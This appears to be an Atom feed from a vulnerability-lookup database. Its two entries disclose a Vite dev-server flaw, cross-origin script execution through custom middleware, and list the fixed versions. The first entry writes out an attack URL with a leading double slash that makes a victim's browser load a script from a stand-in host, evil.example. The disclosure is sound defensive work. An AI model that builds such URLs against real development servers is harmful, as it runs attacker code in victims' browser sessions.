<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://db.gcve.eu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-23T18:47:45.835060+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@gcve.eu</email>
  </author>
  <link href="https://db.gcve.eu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://db.gcve.eu/vuln/brew-vite-cve-2026-112945</id>
    <title>BREW-vite-CVE-2026-112945 — Vite: Cross origin script execution through Vite custom middleware</title>
    <updated>2026-10-23T18:47:45.836782+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Homebrew: vite</p>
<p>### Summary</p>
<p>When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.</p>
<p>### Impact</p>
<p>Only apps that match the following conditions are affected:</p>
<p>- the dev server passes an unchanged browser request URL to `server.transformIndexHtml`: this is normally used for `server.middlewareMode: true` or `appType: 'custom'`. The internal call for `appType: 'spa'` and `appType: 'mpa'` does not match this.
- the transformed HTML contains an inline module script
- from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions</p>
<p>### Details</p>
<p>[Vite's SSR guide for 8.2.1](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/docs/guide/ssr.md#L119-L131) documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:</p>
<p>```js
const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)
```</p>
<p>For a development server at `http://localhost:5173`, an attacker can send this URL:</p>
<p>```text
http://localhost:5173//evil.example/payload.js?/../../package.json
```</p>
<p>In Vite 8.2.1, [`createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts`](https://github.com/vitejs/vite/blob/421615865dad3ed39137d17281814fc78a41246c/packages/vite/src/node/server/middlewares/indexHtml.ts#L99-L115) use the request URL…</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/brew-vite-cve-2026-112945"/>
  </entry>
  <entry>
    <id>https://db.gcve.eu/vuln/cve-2026-112945</id>
    <title>CVE-2026-112945 — Vite: Cross origin script execution through Vite custom middleware</title>
    <updated>2026-10-23T18:47:45.836886+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> vitejs vite, vitejs vite-plus</p>
<p>Vite is a frontend tooling framework for JavaScript. Prior to 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3, applications using custom middleware are vulnerable when they pass an unchanged browser request URL to server.transformIndexHtml. getHtmlFilename uses the query-bearing request URL to resolve an existing local file while preserving attacker-supplied leading slashes in the generated proxy module URL. If the transformed HTML contains an inline module script and a victim browser loads the crafted development-server page, the leading double slash makes the browser fetch and execute an attacker-controlled module in the Vite-served page. This execution can expose sensitive page data or permit critical actions available to the affected application. This issue is fixed in versions 6.4.4, 7.3.7, 8.1.6, 8.2.4, and 8.3.3.</p></div>
    </content>
    <link href="https://db.gcve.eu/vuln/cve-2026-112945"/>
  </entry>
</feed>
